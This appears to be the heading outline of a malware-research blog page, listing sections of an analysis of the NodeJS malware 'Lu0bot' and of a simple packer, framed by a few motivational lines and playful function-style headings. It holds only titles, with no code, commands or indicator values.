The internet broke your brain on purpose

The people ahead of you are also lost

But I gave you a warning, I mean seriously.

Everyone's fighting for the same door

Start anyway

Lu0bot - An unknown NodeJS malware using UDP

Minimalist C/C++ loader

Setting up NodeJs

Matryoshka Doll(J)s

Understanding Lu0bot variables

S (as Socket)

KO (as Key Object?)

MP

Ingenious trick for calling functions dynamically

A well-done task manager architecture

Q variable used as Macro PoV Task Manager

MP variable used as Micro PoV Task Manager

O (Object) - C&C Task

Summary

Aggressive telemetry harvester

Preparing environment

Gathering system information

Process info

Network info

Saving Environment & User path(s)

Console information

Checking old windows versions

Checking ADS streams for hiding content into it for later

Harvesting functions 101

Funky Persistence

Intel MEC 750293792

Intel MEC 246919961

Ongoing troubleshooting in production?

Outdated NodeJS still living and kickin'

What is the purpose of lu0bot?

Where it could be seen?

Appendix

IoCs

IP

lu0bot loader C&C's (HTTP)

lu0bot main C&C's (UDP side)

Yara

IoCs

Example of lu0bot interaction

MITRE ATT&CK

ELI5 summary

Conclusion

Anatomy of a simple and popular packer

Architecture

Stage 1 - The PE

Decrypting the first shellcode

Stage 2 - Falling into the shellcode playground

Give my WinAPI calls

`critic()` Inner critic

`learn()` Learning

`health()` Health

`tinker()` Tinkering

`friends()` Friends

`fun()` Fun